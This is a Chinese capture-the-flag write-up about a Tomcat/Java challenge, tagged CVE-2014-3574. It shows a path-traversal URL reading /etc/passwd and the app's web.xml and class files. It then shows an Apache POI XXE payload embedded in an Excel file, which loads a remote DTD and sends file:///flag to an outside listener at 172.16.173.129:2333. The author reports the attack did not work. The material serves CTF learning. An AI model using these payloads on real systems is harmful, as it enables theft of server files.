前言
关键字:[tomcat|CVE-2014-3574|java|excel]
题解
随便上传个文件,发现类似文件包含
尝试
/DownloadServlet?filename=../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
读取成功。
尝试读取flag提示
输入./,抓包可以看报错,浏览器不行。
/usr/local/tomcat/webapps/ROOT/WEB-INF/upload/1/12/
查一下HTML Markup标签
或者
所以路径为
/usr/local/tomcat/webapps/ROOT/WEB-INF/upload/1/12/
既然是tomcat,第一个要查的自然是WEB-INF/web.xml
访问
../../../web.xml
返回
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
</web-app>
而这些文件都在WEB-INF/classes下
注意这是java,cn.abc.servlet.DownloadServlet
这种形式是包名,所以路径为:
../../../classes/cn/abc/servlet/ListFileServlet.class
../../../classes/cn/abc/servlet/DownloadServlet.class
../../../classes/cn/abc/servlet/UploadServlet.class
可以用Jd-gui-windows反编译,也可以直接用idea。
对excel进行处理。
然后就是百度下java的excel相关漏洞,有很多
具体可见Apache POI XML外部实体(XML External Entity,XXE)攻击详解
加个
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://172.16.173.129/penson.dtd">
%remote;%int;%send;
]>
放到这个文件里
excel文件名字需要改成excel-xxx
因为是内网环境,在buu上开个linux靶机,然后创建个penson.dtd文件,放进去
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://172.16.173.129:2333?p=%file;'>">
然后上传,
得,又打不通,试了半天都不行。
真无语了,一涉及内网,就打不通,这都第三回了。真的烦。